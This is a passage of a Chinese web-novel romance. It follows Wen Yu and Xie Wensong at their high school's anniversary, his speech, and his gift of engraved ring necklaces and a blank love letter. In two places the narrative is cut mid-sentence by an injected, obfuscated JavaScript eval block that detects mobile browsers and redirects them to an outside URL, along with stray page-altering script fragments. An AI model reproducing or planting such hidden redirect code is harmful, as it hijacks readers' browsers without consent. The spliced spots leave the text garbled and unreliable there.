意识到这点,温遇心中一滞,似乎有什么很重的东西拽着心尖极速下坠。 一个念头缓缓在脑海中凝成。 公交车的玻璃门折射出她的身影,半身的碎花裙被夏风带着飘起,仿佛与那年裙角翩跹所重合。 温遇透过这透明一层不止看见自己。 玻璃窗对面,越来越多穿着校服的学生走过,欢声笑语连成一片,将青春这本有声书吟诵得淋漓尽致。 公交车开走,被阳光暴晒的橡胶味充斥在空气里,温遇抬起头,眯起眼瞅了瞅太阳。 燥热不减当年。 而如今盛夏已至。 身边挚友,已成爱人。 - 南大校庆到来之前,先等来的是南川附中105周年校庆,作为优秀校友常年挂荣誉榜的某人,不出意外在邀请嘉宾之列。 联系他的时候,南川附的老师说给谢闻颂安排了一段讲话的时间,问他能不能给学弟学妹们一点鼓励,或者分享一些学习经验。 谢闻颂先是沉默,最后在对面滔滔不绝地邀请下,还是选择答应下来。 过去是老师的骄傲,现在也是。 作为别人家长口中“一路从小优秀到大的孩子”,在外人看来,他这一路似乎都走得格外顺利,仿佛痛苦天生与他无关。 温遇全程目睹他接电话的整个过程,带着事不关己的闲散晃着腿扒起橘子来。 明显是一副置身事外的模样。 她手指扯掉丝丝橘络,掰开橘子瓣放进嘴里,竖起两遍的耳朵,注意谢闻颂这边的动静。 某人自然注意到她的小动作,趁她把注意力都放在自己这边的时候,抢走她手上的最后一瓣橘子放进嘴里,自动忽略旁边人后知后觉反应过来时,锤在他腿上的拳头。 他没嚼,只是含在嘴里,笑音都是模糊不清的。 挂掉电话,还没等温遇炸毛,某人已经轻轻抚过她的头顶,一个人趿拉着拖鞋去了隔壁房子的书房。温遇好奇,一路跟过去,最后倚在门口停下驻足,谢闻颂见她一副被罚站模样站在那儿,不禁好笑:“进来啊。” 温遇很少来这,不自觉往四周看看,最后重新落回他身上,问:“怎么突然过来了?” 谢闻颂单手撑在桌边,微微俯身在抽屉里翻找什么:“找我高三那年的演讲稿。” “……” 谢闻颂高中三年各种讲话的次数不算少,她正在想到底是其中哪次。 温遇眨眼,通过捕捉他口中的“高三”二字反应过来。 应该是成人礼那回。 不过她记得自己当时问他在台下的时候为什么不看稿子,他给出的理由相当洒脱。 温遇旧账翻得很熟练:“你当时不是说没有稿子吗?” 谢闻颂没想到当时的信息内容还被她记这么清楚,连他自己都缓了半天:“骗你的。” 他不愿意让温遇频频回头看,是因为怕这些让她产生类似愧疚的情绪,带着补偿的目的来面对现在的他们,所以关于过去,他现在很少提起。 不过温遇如果精准捕捉到他想说的那个点,谢闻颂得承认,他还是会为此雀跃许久。 温遇似乎也明白他这样做的原因,默契参透他的目的,不再有意往过去探他到底都做了什么,只是偶尔想起,当作两人间消遣闲暇的话题。 他们也就这个问题好好谈过,一切不言在两个人之间摊开,彼此互剖坦诚。 温遇发现,这样说开话的方式让她心底好暖好暖。 谢闻颂这个人,是真的站在她的位置和角度,把方方面面都考虑个遍。 他是先了解的她,再来爱的她。 终于,温遇内心中最后一个绳结彻底打开,余下来的力量,将他的手握得更紧了些。 温遇听见他又在拿“骗你的”来作为借口,没忍住调侃:“怎么动不动就骗我?谢闻颂,你到底骗了我多少次?” 话虽然这么说,可完全是用开玩笑的语气。紧接着,温遇被他按着肩膀坐在他的办公椅上,椅子做工很好,坐上去相当舒服。 谢闻颂将手里正拿着的纸翻个面,回答她的话:“放心,说‘喜欢你’——” 温遇心头猛然一跳,左侧胸口原本规律的节拍在这一刻突然被打乱,摆放好的多米诺骨牌被对方伸出的手指施力,依次倒下。 尽管在一起这么长时间,她没办法对他口中少见的“喜欢”二字免疫。 谢闻颂略作停顿,抬头看她的瞬间挽唇,很认真:“这句没骗你。” 纸张翻动的沙沙声响在耳畔,温遇噢了声,装作很忙的样子低头翻阅那堆旧纸片。 她知道这是真的。 在这个对谁好像都不太友好的时代里,随口的一句喜欢和爱被太多不真诚的人冠以重新包装赠予,致使那些真正怀以真诚的人被伤害,于是他们慢慢把自己变成一个封闭体,对每个摆在面前的礼物加以审视,怀疑每一份礼物的真实存在性。 温遇自然也一样,本身她的界限感也很明晰,对外的社交礼貌让她看起来好相处,实则这样的人最不好走入内心。 只有真心实意的对待才能让她有打开锁的念头。 谢闻颂很少把喜欢和爱挂在嘴上,他只是一直坚持在做自己想要做的事,哪怕是在温遇没意识到他对自己是特别的感情以前,她也知道,谢闻颂肯定在意她。 尽管她当时以为的是朋友之间的在意。 因此,不管两个人之间的关系如何,真心实意的付出和对待,是能让对方感觉到的。 所以在真诚的基础上,喜欢和爱是为其增色的彩虹条纹。 温遇低头望向抽屉里的纸,不禁吐槽起来:“这么久的东西你还留着?” “也许吧。”谢闻颂在一抽屉纸页之间来回翻找,温遇想着反正自己也没有事做,不如来帮他:“我来帮你。” 谢闻颂自动让开一半抽屉前的位置。 里面的纸很多,甚至温遇还翻出了几张谢闻颂高中时候的卷子,理科类的知识她基本都已经原封不动打包还给老师,只剩下一些语文英语类的学科她还是能看得懂。 有些和答题卡订在一起的卷子已经不翼而飞,温遇将帮他找发言稿这件事抛在耳后,兴致勃勃窝在舒服的椅子里看起他的答题卡。 谢闻颂注意到,默许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15058347|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这种行为,还顺便调侃了句她不务正业。 温遇自动将他这话过滤。 语文答题卡上只有答案,温遇自动略过上面的涂卡的abcd,直接翻到背面看他的作文。 大概扫了两眼,她还没去看内容,感喟的话已经脱口而出:“你怎么写作文还用三段式?” 哪怕几年已经过去,谢闻颂还是下意识抬起头,面露疑惑:“三段式有什么问题吗?” “……” 有问题。 而且问题可太大了。 难怪某人的语文分数一直没比及格线高多少。 这属于判卷老师看到都会两眼一黑的程度。 温遇把他的作文看完,唇边的笑容一直没落下,直至入迷到被某人精准掐住脸颊。 谢闻颂曲起食指和中指,用两指之间的缝隙夹她的脸。 “鱼鱼同学,你能别当着卷子主人公的面笑得那么开心吗?” “噢,好的。” “那我收敛点。” 话虽然这么说,鱼鱼同学的笑容却始终维持在脸上,没有丝毫要消退下去的意思。 你说你的。 听不听是我的。 “……” 温遇把他的所有答题卡都看了一遍之后,最后兴趣消失在他的数学答题卡上。 怎么会有人连最后一道大题的最后一小问都能答满分。 鱼鱼同学感觉自己被多年前的谢闻颂降维打击,把他的答题卡梳理成一摞就搁在桌子边,打算要开始做正事。 她从抽屉里拿出一沓纸,没注意有什么掉在地上,坠地的声响被她听见。 温遇低头看,地面上躺着一个浅粉色信封,里面明显有东西,看起来很厚。 在她准备拿起来之前,谢闻颂已经抢先拿起来,随意扔进他旁边的一堆纸里,只留个信封角在那。 好似随意的动作,温遇却嗅到了一丝猫腻:“那是什么?” 刚才看他语文答题卡都没这个反应。 “不重要的东西。” “你高中给女生写过情书?” 谢闻颂没想到她问得这么直白:“……不是。” 温遇表情顿时变得惊恐:“难不成,你是给男生写的?” “…………” 气氛顿时变得有几分微妙。 “温鱼鱼。”谢闻颂唇角抿平,一字一字喊她的名字,同时把手里的纸扔在一边,双手搭在椅子两侧扶手上,躬着身把她圈在座椅里。 两人之间的距离皱缩,某人身上的压迫感太强,温遇下意识往背后靠,无辜地眨眼,为刚刚的猜测辩解:“我刚刚问你不是给女生写的情书,你说不是,那我猜——” 话还没说完,细碎的音节被吞没在唇齿间。 一触即分。 谢闻颂擦了下她的唇角,移开自己两条胳膊。 温遇注视他低头继续找稿子的动作,不经意地瞥了眼淹没在白纸里的粉色信封。 边缘好像还有印花。 这也太少女了吧。 说不是情书也不太可能吧。 温遇一激灵。 不会是别人写给他的情书吧。 - 南川附中校庆当天,温遇请了假和谢闻颂一起去。她刚上车,下意识嗅了嗅车里的气味:“哪儿这么香?” 一股清甜的味道,像是她昨天吃的那根海盐荔枝味雪糕。 疑惑的目光投给谢闻颂,四目相对,某人伸出手,把领口那颗半系好的扣子彻底解开,锁骨处的皮肤半敞,隐约在领口处闪现,有种不经意间的勾人。 整个过程,他都在观察温遇的反应。 温遇瞳孔地震,下意识在车内环顾,向车窗处靠去:“你干嘛。” “不是说哪里香吗?”谢闻颂朝她勾勾手:“来闻闻?” 温遇先是张了张口,谨慎地往他那边缓慢移动:“我怀疑你在勾/引我。” 温遇保持着安全距离在他领口处嗅嗅,没闻到类似的味道,只好狐疑着回到自己的座位。 某人指了指放在前面的车载香薰,逗她成功的愉悦根本不打算藏一星半点:“是这个。” “……” 她、又、被、骗、了。 “就算是勾/引,那也得是晚上。”谢闻颂往天空的位置看,回落看向她时眼里明显含了揶揄,佯装面露为难的样子,不紧不慢地把那颗纽扣重新系回去:“白日宣淫,不太好吧。” “……” 温遇一记眼刀抛给他,想立刻找东西把他的嘴堵上。 谁想和他白日宣淫啊。 这!个!狗! 70.荔枝 70/ 车开到学校旁边的停车场,谢闻颂正操作着把车停入车位,温遇转头朝他说:“谢闻颂,我有点紧张。” 某人今天换了套稍微正式点的衣服,衬衫领最上面的那颗纽扣刚刚开车前被他自己系上,温遇顺眼瞟到,想起刚才他那番话,心里顿时一阵无名火。 纽扣系到最上面一颗那又怎样? 该是个坏人还是个坏人。 衣冠xx,就是形容这类人的。 谢闻颂扶着方向盘,往她那边看了眼:“讲话的人是我,你紧张什么?” “那你紧张吗?” 温遇虽然这么问,不过内心觉得他不会紧张,感觉回母校上台讲话这种事,还不足以促成他的紧张。 没想到这个她几乎已知答案的问题,倒少见地让谢闻颂回答得几分犹豫。 “别说,还真有点紧张。” 温遇啊了声,手指摁上安全带卡扣的按钮,半信半疑看他:“真的假的?” 某人将笑容敛到只有浅浅一层,低垂眼眸,接她的话:“嗯,真的。” “……” 车里几分安静,放在座位前面的香薰持续往外散发着香气,温遇脑袋被这味道搅得晕乎乎:“那我要不哄哄你?” 她刚出口就觉得不对,赶在某人开口以前,她已经急急截停住他要说出口的话:“不是那种哄!你别想歪。” 话给到这,谢闻颂成为更加游刃有余的那一方,他甚至坐姿都没变,撑着脑袋回视她:“温鱼鱼,到底是谁想歪了?” 温遇默默将腮帮鼓成小河豚,不语。 “那你打算怎么哄我?” 见他提起这句,温遇坏主意浮上心头,脸上明显有种阴谋得逞的雀跃,谢闻颂眼皮一跳,心底预感不好。 “那你别紧张了。” “……?” 谢闻颂扯唇:“就这一句?” “就、这、一、句。” 温遇朝他做鬼脸,反手推开车门,在车窗外挑衅招手。 谢闻颂将她的全部表情和动作全都尽收眼底,别人做这么幼稚的动作,他甚至连吐槽的欲望都没有。 可是到她这儿,却有种意外的适配,不会产生割裂感,仿佛她就是该做这些事的年纪。 真正的公主,永远是理性和童心并存。 谢闻颂在讲话之前还需要单独录一段视频,温遇不和他同行,打算先去参加其他活动,等一切结束之后再一起会合。 温遇已经走远,谢闻颂撑着下巴看向车窗外,倒没着急下车往学校走。 天气很好,像无数个他还在学校里的日子一样,一抬头总是每个晴日标配的蓝天白云。 紧张的时候,仿佛抬头看看天空,就能有种不知道哪里来的治愈感。 他其实没骗温遇。 他是真的有点紧张。 只不过,紧张的不是单独录制的视频,也不是接下来讲话的内容。 时间在很缓慢地流动,云在他的视野里向后退,这些都标告此刻并非静止。 谢闻颂静静望着天空,仿佛要将这汪透亮蓝深刻渗入眼里。他在车里深深吸了一口气,然后再缓缓吐出。 他微垂下头,手指贴向裤线。 西装裤兜装了个体积不算小的东西,他隔着面料摸了摸上面的棱和角,此刻车里已经只有他一个人,不会再有第二人知道他此刻的举动,可他也仅仅只是隔着层阻碍轻轻碰了碰,并没有把它拿出来。 仿佛面对它,需要更大的勇气。 - 温遇在校友签名墙那儿遇见了几个以前同年级的同学,顺口聊了几句。她记忆力不差,遇见这几个人甚至还能叫出名字来。 南川附中校庆采取预约制,除学校专门邀请的知名校友以外,剩下的往届毕业生采取填问卷预约的方式进入校园。 温遇是填问卷进来的。 签名区人多,他们几个找了个人稍微少点的地方待着。 在学校的生活简单深刻,后面步入社会的路途又格外艰苦,怀念情绪滋生,会让过去某个难忘的时段格外凸显出来。有人聊起一个话题,剩下几个人似乎都还记得,纷纷附和,把更多陈年旧事拉出来讲。 大多都是一些校园趣事,温遇在一旁听,并不打算插嘴。 聊着聊着就谈到他们那一届高考的情况。 然后自然而然就顺着每次考试的年级榜前几名的人开始往下捋,旁敲侧击打听他们如今的现况。 于是温遇在他们口中听到谢闻颂的名字,变得不再意外。 “我前几天在学校公众号的邀请名单里看见他了。” 有人接话:“咱们那一届混的最好的应该就是他了,家里条件优越,自己也努力。还真就印证那句‘优秀的人在哪里都发光’啊。” “想当初我还和他一个理科班,努力还是照他分数差一截。” “人和人之间还是不能比,落差也太大了……” “当然不能比,而且我听说,之前人父母从事的是某些保密工作,他走到今天这步……” 话没说完,有人已经会意,像是想到什么:“怪不得以前他的家长会——” “……” 那人也意识到自己这话不太好,赶紧噤声,把话题扯到其他地方去。 温遇没说话,在一边保持沉默,只是习惯性在别人口中捕捉谢闻颂的名字。 有人记得他俩高中的时候关系好,往温遇这边看,大胆问她:“温遇,你和谢闻颂一起来的吗?” 刚才还在他们口中的人物和此刻站在面前的人存在关联,刚才讨论过谢闻颂的几人霎时不再说话,目光全都往温遇身上投去。 有风吹过,温遇不紧不慢地把发丝勾到耳后,她很淡定地笑,仿佛那些探究的目光在她这影响不了分毫。 她很自然,相比于对面的紧张。 “嗯,我们一起来的。” 一句话,仿若风止。 尴尬的变成刚才几个背后谈起谢闻颂的人。 有人帮忙打圆场:“是啊,总记得你们以前关系好。” 温遇还是上学那会的温淡模样,笑容也是浅浅的,看起来礼貌周全,却没多少真心实意的温度。 气氛正处于半尴尬的地步,温遇用很轻的语气说着很坚定的话。 “嗯,我们关系确实挺好的。” …… 学校礼堂的活动十点开始,谢闻颂在自己旁边给她留了个位置,第一排视野好,温遇坐在他旁边,舞台上的灯光从两侧依次亮起,音响开始播放音乐。 嘈杂的声音里,温遇感觉到旁边人在看自己。 “你刚才去哪儿了?”他问。 “随便走走。”温遇稍作停顿:“遇见几个同学,聊了聊。” 程以桉几天前告诉温遇她临时有事,可能校庆当天来不了,谢闻颂记得高中的时候也就程以桉和她关系最好。 其他的老同学…… 他都没什么印象。 “聊什么了?” “提起你了,说我和你关系好。” 温遇也看向他:“想知道我怎么说的吗?” 这是在这儿等着他呢。 谢闻颂弯起唇来,单手握上她的手指,用不重的力道把玩起来:“怎么说的?” “我说——” “我们关系的确挺好的。” 谢闻颂笑了声,将自己的手指插入她指缝,皮肤滞涩摩擦在一起,仿佛在透过这些小动作陈述某种暧昧的表达。 “这倒没说错。” “作为奖励。”他愉悦弯起眼,说:“晚上送你个礼物。” 舞台灯并不刺眼,被调成橘皮同款的暖黄色,光束投注的那片空间仿佛有很多只精灵在其下雀跃而舞。 明知道那是灰尘。 温遇重新把注意力挪到谢闻颂身上。 走入现实的撕漫脸,碎发遮额,黑色睫毛好似根根被卷过,让温遇有种拔下来测量长度的罪恶想法。 无声的眼神也动人,温遇经常被他的双眼蛊惑。 他今天从家走的时候,头上还顶着一绺呆毛,还是温遇在地下车库给他稍微打理了下,这才看不太出来。 温遇注意到谢闻颂的睫毛上仿佛都有光在那儿站住脚,将尾端过度成浅棕色晕在光里,眼前的空间不停围绕他们开始浓缩,最后只剩彼此目光里的两个人。 片片光影里,温遇缓慢地眨了一下眼睛,想起他刚才口中的礼物:“好。” 谢闻颂这段讲话被安排在偏后面的位置,一般这种活动越到尾声,下面的积极性和兴奋程度也越来越低。 台上主持人开始介绍,底下浮躁的声音几乎快盖过台上,坐在谢闻颂附近的人已经开始把目光朝其投注,就是这样的瞬间,他抬头目视前方,口中在喊温遇的名字。 “在呢。” 温遇想起下车前他说的紧张。 其实她现在也有点紧张。 虽然即将登台的人不是她。 谢闻颂偏头看她,黝黑的瞳孔中情绪认真,好像有什么很重要的话要说出口。 温遇在等,不过他也仅仅只是喊了声她的名字,剩下什么也没说。 仿佛“温遇”这两个字,在他口中能起到镇定剂的作用。 谢闻颂从侧面上台。 也许是屏幕上被无限放大的那张脸实在没得可挑剔,无数光点拼凑起的图像画质并不好,不过对于谢闻颂来说没什么影响。 他连头都没回,手指搭到笔电的键盘上,直接开始自己讲话的内容。 底下原本躁动不安的学生逐渐安静,窃窃私语中夹杂着此起彼伏的喟叹。 温遇听见后排的学生问这一段有没有人录像。 她静静望向他所站位置。 曾经的谢闻颂是她很重要的人,现在也是。 他总是站在离她很近却不会打扰到她的位置,只要自己需要一转头,总能看见他。 久而久之,他的出现变得不再让她意外,她逐渐适应,逐渐将这种习惯化于自身,直到那天,他从她的正对面走过来,问—— “温鱼鱼,你能不能回头看我一眼。” 原来,他并不甘于将这份喜欢继续沉默下去;原来,他已经喜欢她很久很久。 她习惯多久,他就喜欢多久。 她认为的很近距离,实际上是谢闻颂触碰不到的位置,他拼尽全力靠近她所在的世界,永远在奔跑适应她的习惯。 喜欢,确实会将人拉远。 所以她以为的习惯,是谢闻颂鼓起勇气走了九十九步的结果。 她只用走一步。 或者会有一瞬间往后望的动作。 谢闻颂的暗恋心绪就不会再隐藏下去。 温遇睫毛轻微颤动。 她之前问谢闻颂:“我们是不是错过了很多年?” 那段等待在他口中不值一提,他说:“你不是来了吗?” 只要你来了,就永远都不算晚。 只要结果是你,那么等待的时光,也会变得有意义。 原来,谢闻颂是这样想的。 落在眼前的灯光给人一种记忆闪退的错觉,温遇听见此刻和过去重叠声音,是谢闻颂用了一样的结尾—— 愿天气都好,理想长鸣。 …… 谢闻颂在散场的时候碰上之前和温遇在一起聊天的同学。 成人之间的关系复杂,彼此话语之间多了不少客套的寒暄,温遇站在一旁,始终和谢闻颂的手牵在一起。 众人瞅见,彻底明白此刻二人的关系,先前当着温遇面说谢闻颂的几个人面上多多少少都有点不自然,猜测温遇有没有把他们的话和谢闻颂讲。 几个自来熟的男同学问谢闻颂和温遇要不要一起去吃饭,谢闻颂转头问她的意见,温遇略一沉吟,说可以。 七八个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068385|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们找了家有单独有包厢的酒楼,谢闻颂刚坐到位置上,随手把手腕上的皮筋摘下来,正要揣进外套口袋,温遇看见问:“怎么了?” 这个习惯还是谢闻颂前段时间养成的,起因是温遇发现她的皮筋总是时不时少一根,一问才知道是谢闻颂给拿走了。 她问为什么,他说身上想带点沾有她气味的东西。 温遇有点哭笑不得,指着他被勒红的手腕,说你要拿也别拿这种刚拆的啊,戴在手上影响血液循环。 她翻翻找找,最后拎出一条弹性不大的毛绒皮筋。 这根她用了一段时间,想简单束起头发又不想勒头皮时都用这个扎,关键是挂在手腕上也不勒人。 谢闻颂挺自觉接过,然后戴在手腕上,左看看右看看,然后露出一抹餍足的笑容。 仿佛是什么很新奇的玩意儿。 温遇在想这人是不是带点属性在身上。 梦回去年夏天,她坐在阴影下,被他扎头发的场景。 当时谢闻颂手法生涩,明显是第一次给人扎。 他把发绳收进口袋,小声乖乖答:“怕熏臭了。” 包厢里有人点了烟,味道不算太好。 “那你给我。”温遇朝他摊开掌心:“我正好把头发扎上。” “好。” 温遇火速扎了个低丸子头,包厢里有些热,她脱掉外套,只剩件木耳边的格子娃娃衫。 温遇凑近他压低声音,用说悄悄话的语气:“你今天怎么这么乖?” 谢闻颂懒散靠在椅背,头偏向她这边:“你今天不是哄我了吗?” “……” 要不是他提起,温遇都已经快忘记这茬,想当时还是为了捉弄他敷衍地哄了这一句,没想到在这时候被他翻出来。 温遇往玻璃杯里倒点水,一饮而尽,装作若无其事的样子抿唇:“噢。” “像我这么好哄的男朋友,你可得珍惜点。” 谢闻颂的公主本体一旦现身,鱼鱼公主也不能掉以轻心。 温遇受不了他这臭屁样,不过想想早上捉弄他的那一句,还是选择附和:“是是是,您说什么都对。” 半真半假的一句附和,顺便还给他抬了个辈分,谢闻颂听在耳朵里,怎么就觉得这么舒心呢? 半杯度数不低的酒下肚,谢闻颂盯着温遇的侧脸,低头的瞬间笑了下。 还是说的这个人重要啊。 不管是别扭的谎言还是敷衍的附和,都能让他真正开心起来。 西裤兜里的东西硌着大腿,谢闻颂隔着布料难耐地碰碰,喉结不自觉上下来回挪动,感觉心脏快从嗓子眼跳出来。 一顿饭吃到晚上七八点,谢闻颂和温遇全程没说几句话,所谓的同学聚餐,他们默契地鲜少提起以前,主要靠其他人带起话题。 温遇不擅长冷场,偶尔接一两句,谢闻颂基本没怎么说过话,差不多到时间就带着温遇离开。 顺便把账单买掉。 众人见他俩要早走,遗憾地挽留几句,谢闻颂这才开口:“时间有点晚了,回家还得下楼遛狗,见谅。” 众人:“……” 谢闻颂喝了酒,车自然是不能自己开了,在饭店门口等代驾过来的时候,某人解开衬衫领口,低头嗅嗅,皱起眉,又抬起手腕闻袖口。 怪异的举动引起温遇的注意:“怎么了?” “我变臭了。”谢闻颂皱眉瘪起嘴,顺手把额发抓乱:“包厢里味道太大。” “你不臭。”温遇抬手摸了下他的脸。 “不,我很臭。” 完全的小孩脾气。 温遇拿他这幅模样没办法,只好拿出那套惯有的耐心,伸出双臂将他抱住。 一秒,两秒,五秒,十秒,一分钟…… 温遇松开手:“好啦,现在我也是‘臭’的了。” 谢闻颂摇头:“不,你是香的。” 某人一本正经掉进坑里,温遇莞尔,开始阐述自己的道理。 “那我这个香的人抱了你这么久,你是不是也变香了?” 好像也是噢。 谢闻颂想。 于是某人就这么被鱼鱼同学哄好了,整个过程基本没怎么费力。 没过多久他们就坐上车,代驾开车很稳,一路顺畅回到蓝湾。 温遇下车走到电梯口的时候,谢闻颂半个身子还埋在驾驶座找着什么,等他过来,两个人一起上楼。 摸摸和核桃守在门口,温遇火速换下鞋,但因为还没洗手,只在它们头顶很轻地用手背碰碰。 等她擦干净手从卫生间走出来的时候,谢闻颂还倚在门口,西装外套自他刚才上车后就没再穿过,随手放在餐桌边。 “你不舒服吗?” 温遇伸手去探他额头的温度,半路被他握住手腕。谢闻颂抬眼,眼中情绪清明却浓重,缓慢化在空气里,像一块需要频频回味的巧克力。 “温鱼鱼。” “还记得今天我说晚上要送你个礼物。” 谢闻颂从西裤里摸出一个丝绒质的小盒,上面什么字符都没有刻,却让温遇呼吸一滞。 他引着她的手指打开。 里面有两枚戒指。 莫比乌斯环造型的两枚,大小一样。 温遇认得其中一枚是她之前送给谢闻颂的礼物。 当时为了哄他开心,送了枚并不适合他手指尺寸的指环。 他握紧温遇的手:“后来我又买了枚一模一样的,在它们内圈刻了字。” “虽然它们做不成我们的对戒。”谢闻颂拿出两枚指环,下面还坠着银色细链:“不过我把它们做成了项链。” “以另一种方式,陪伴在我们身边。” 温遇双指捏住指环内侧,细链仿佛流星托尾顺重力向下。 她看清两枚指环内侧刻的英文。 一枚"Always"。 一枚"Forever"。 71.The Lovers 71/ 读懂两枚字母的含义,温遇沉思片刻想到什么,抬起头问他:“这就是你紧张了一天的原因吗?” “不是。” 谢闻颂回答很快,明显对于这个问题,他并没有犹豫。 他一边说不是,一边用如炬的眼神盯着她。他深色的瞳仁像需要无限摸索的宇宙,深邃而奥秘。 可是现在,他把自己的宇宙从身体中献出,捧到她面前。 周围空间安静,似乎都不忍打搅此时此刻过分浪漫的气氛。 温遇问到这儿,谢闻颂自然也不打算继续掩藏自己紧张了一天的原因,从兜里摸出来粉色的一角,被她看见。 温遇瞧着,觉得有点眼熟。 直至谢闻颂将完整的它拿到面前,温遇才突然想起来这是什么。 那天在谢闻颂书房里看到的粉色信封。 纸纹精细,边缘印花,很少女的浅粉色,和眼前这个人怎么看怎么不搭。 可的的确确是他的东西没错。 当时温遇还在想这是不是别人写给他的情书。 可是现在,她隐隐觉得,可能并不是。 信封开口那面朝上,谢闻颂单手递到温遇面前,对她说:“打开看看。” 不知从哪儿来的紧张感也如同下雨渗水一样漫进温遇的心房,将其小小的空间挤得生涩滞闷,她能明显感觉到左侧胸膛内那颗不听话的心脏,在跳动并不寻常的频率。 就像刚才谢闻颂把信封递给她时,她把这是别人写给谢闻颂的情书的可能pass掉,一样的,她现在也隐隐能猜到这信封里到底是什么。 人的想法总是来得这样快,快到她根本来不及深思熟虑,仅仅只凭借这一刻他给她的感觉去联想、去猜想。 那些藏在漫长时光里的细枝末节根本来不及捉住,就被他领着来到现在。 温遇低头去拆,信纸是和信封一样的细纹纸,背面并没有书写的痕迹拓过来。 她一张一张翻开,是几页空白的纸,只有第一页的最上面有两个字—— 温遇。 厚厚的几张信纸,只有这两个字。 她的名字。 灯光向下投射,在纸上勾勒影子的黑色轮廓,温遇疑惑地看向谢闻颂,想问他为什么纸上是空白的。 谢闻颂单手撑在桌面上,眼睫低垂,先是看了眼纸上的“温遇”二字。 那是他之前写上去的,在高中的某一天。 每次他这样乖乖把眼神落下来的模样,都让温遇觉得他很落寞,于是就会不自觉关注他变化的情绪,试图体悟他此刻的心情。 “说来惭愧,追女孩总是应该把一条龙的程序都做完:暗恋、写情书、递情书、表白……” 谢闻颂在省略的部分突然顿住,似乎也意识到表白之后不一定会在一起这种可能性。 不是所有人的感情路途都是按照这个路程走,所以健谈如他,也不免用省略代替一种沉默的表达。 “可我总是会因为自己没有把这个过程做全而感到遗憾。” “信封和信纸都是很久以前准备的,写废了无数张,始终觉得词不达意。” 说到这,谢闻颂弯唇笑了下:“你吐槽我的三段式作文,确实,在书面表达这方面,我确实足够差劲,以至于这封情书都憋了那么久还没写好。” 现在想起那些废弃的情书,谢闻颂不再为其烦扰,甚至可以很自然地面对曾经那个字斟句酌也不满意的自己。 “后来某一天,我不再纠结这封情书里面到底要写什么才能被你青睐,将你吸引。所以我只写了收这封空白情书的人,是你,只写了你的名字。” “后来我不想用语言去描述这空白的部分,或许用行动代替更符合我的作风。”他语气故作惋惜,却又释然道:“那么多行字,我们共同落笔书写,也不是不可以。” “你负责说,我负责誊写。” 温遇就那么安静地看着他。 “温遇。”谢闻颂与她视线契合,喊出她的名字,那和信纸上一模一样的两个字:“我们打个赌吧。” “用我们的未来去填补这片还未写下的空白,我相信我可以做到。” 温遇瞧着他,觉得“少年气”这个词从不规定在年龄的限制上面。在爱她这件事上,他固执又认真,也对他说的每一个字赋以自信。 他是对他们彼此有足够信任。 多年的相处,彼此之间的信任早已构筑如爬山虎般盘根错节,那如碎晶般的每一点一滴,足以让他果断掏出这颗心,也不会后悔这份别人看起来是多么冲动的勇气。 她只要站在那儿,他就可以掏出自己的全部。 心动格外清晰,只因心底是你。 “温遇,我不会让你输的。” - 南川的夏天燥热如常,大家逐渐减下厚重的衣物,温遇脖子上多了条项链这件事,也很快被发现。 温遇身上的首饰很少,平时上班的耳钉都是很小巧的款式,手腕上也只有块表,玫瑰红的表带圈着伶瘦的手腕。 是很能凸显皮肤白的颜色。 这条项链,很快被天天和她一起吃饭的林檬发现。 温遇把上面圈住的指环拿出来给她看,很别致的设计,林檬瞧着还挺喜欢。 得知这是温遇男朋友定制的情侣款之后,她默默收回自己的目光。 本来想问问链接,结果谁知道这是独家情侣款,还是别人家男朋友特意做的。 世上独一份的浪漫,没有第二份同款。 林檬表示默默被塞了一口狗粮。 感慨之余,她突然也有点好奇,和温遇成为这么多年青梅竹马的人,到底是什么样的。 温遇咬着吸管,说可能不久的以后也许可以见到。 六月末,温遇放假休了几天,她选择回趟余杭,这事儿她在假期前就和谢闻颂说了,某人当时没什么别的情绪,神色轻松地撂下句:“可以啊。” 温遇认认真真盯着他好几分钟,直到谢闻颂以为自己脸上有什么,正准备上手摸。 “不对,不对。” 温遇边嚼薯片边摇头:“你竟然没有一点舍不得我的意思。” 回盥洗池洗掉手上的油腻,温遇重新坐回他旁边,用手指去勾他脖颈上的那枚“Forever”指环,引着他的脸贴到自己面前。 谢闻颂自然放下手中正在做的事,前倾着上半身向她贴近,靠近沙发背一侧的手撑在她身边,饶有兴致面对温遇突如其来的动作。 温遇伸出根手指挑起他的下巴,以主动的姿态对他道:“说,你是不是有什么事瞒着我?” 虽然用的是疑问语气,不过这话明显是开玩笑,温遇也真没有责问他的目的。 谢闻颂任由她抬起他下颌后又开始摆弄自己脖子上的银链,锁骨处被她指尖蹭来蹭去痒得不行,像摸摸用那条毛茸茸的尾巴在他身上蹭,不过也没避开。 自上次他从小盒子里拿出“Always”和“Forever”以后,他们就戴在各自的身上,银色素链各套一枚莫比乌斯环的戒指,好像成为他们身上新的、烙印在彼此身上的痕迹。 某天他洗完澡出来,视线掠过坐在沙发上正往身上涂身体乳的温遇,落向茶几上并排放在一起的项链,两枚指环上下搭在一起。 他站在她身后愣了许久,顺着额发滴下来的水没仔细擦,落下的频率逐渐变得密密麻麻,淋湿他胸前的衣服。 谢闻颂浑然不觉,哪怕是眼前的视线因为脑海中翻涌的思绪而变得像蒙了层水雾的玻璃,他还是用虚焦的眼神执着望向那儿。 “永远”那么不切实际的、虚渺的词汇,他竟然此刻看出了点端倪。 